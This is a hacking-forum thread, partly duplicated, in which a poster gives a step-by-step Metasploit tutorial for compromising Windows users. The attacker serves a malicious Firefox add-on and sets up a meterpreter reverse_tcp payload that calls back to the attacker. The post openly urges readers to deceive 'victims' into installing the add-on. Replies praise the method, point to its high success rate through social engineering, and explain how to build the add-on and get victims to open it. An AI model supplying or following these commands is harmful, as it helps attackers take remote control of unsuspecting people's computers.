[Clound_Carbelius]

Hi.. HC
I want a share tutorial how to Exploit Windows with Firefox addons/Plugins
I hope I am not repost

oke let's try :dance:
now open your Msfconsole

> use exploit/multi/browser/firefox_xpi_bootstrapped_addon
> check options



now settings you should set

> set ADDONNAME
> set SRVHOST [your IP local]
> set SRVPORT [locap Port]
> set uripath [example : www.name.com/uripath]

> use payload/windows/meterpreter/reverse_tcp
> set LHOST [IP local]
> exploit




and,.now run exploit


this is screenshot when your victims click your trap





make the victim believe with your plugins ,so that victims of plugins to install his

if Plugins was accept by victims,you will bi come to Meterpreter stage




this my firts tread,.. thank's
and,sorry for my bad english
:bye: :bye:

[Clound_Carbelius]

Hi.. HC
I want a share tutorial how to Exploit Windows with Firefox addons/Plugins
I hope I am not repost

oke let's try :dance:
now open your Msfconsole

> use exploit/multi/browser/firefox_xpi_bootstrapped_addon
> check options



now settings you should set

> set ADDONNAME
> set SRVHOST [your IP local]
> set SRVPORT [locap Port]
> set uripath [example : www.name.com/uripath]

> use payload/windows/meterpreter/reverse_tcp
> set LHOST [IP local]
> exploit




and,.now run exploit


this is screenshot when your victims click your trap





make the victim believe with your plugins ,so that victims of plugins to install his

if Plugins was accept by victims,you will bi come to Meterpreter stage




this my firts tread,.. thank's
and,sorry for my bad english
:bye: :bye:

[Psycho_Coder]

Great post. Good work, would love to see more from you. BTW welcome to HC.

[Psycho_Coder]

Great post. Good work, would love to see more from you. BTW welcome to HC.

[chmod]

Nicely done this method requires some social engineering to snare the victim but Firefox is a very popular browser meaning a high success rate

[chmod]

Nicely done this method requires some social engineering to snare the victim but Firefox is a very popular browser meaning a high success rate

[Vip3r]

can anyone suggest any links to download the bootstrapped addon and is there any specific directory where teh file should be installed to??

[h3r0]

can anyone suggest any links to download the bootstrapped addon and is there any specific directory where teh file should be installed to??

You build the addon using metasploit framework. you need to install that first (Which is easy to find out how via google). And you have the victim open the file in firefox.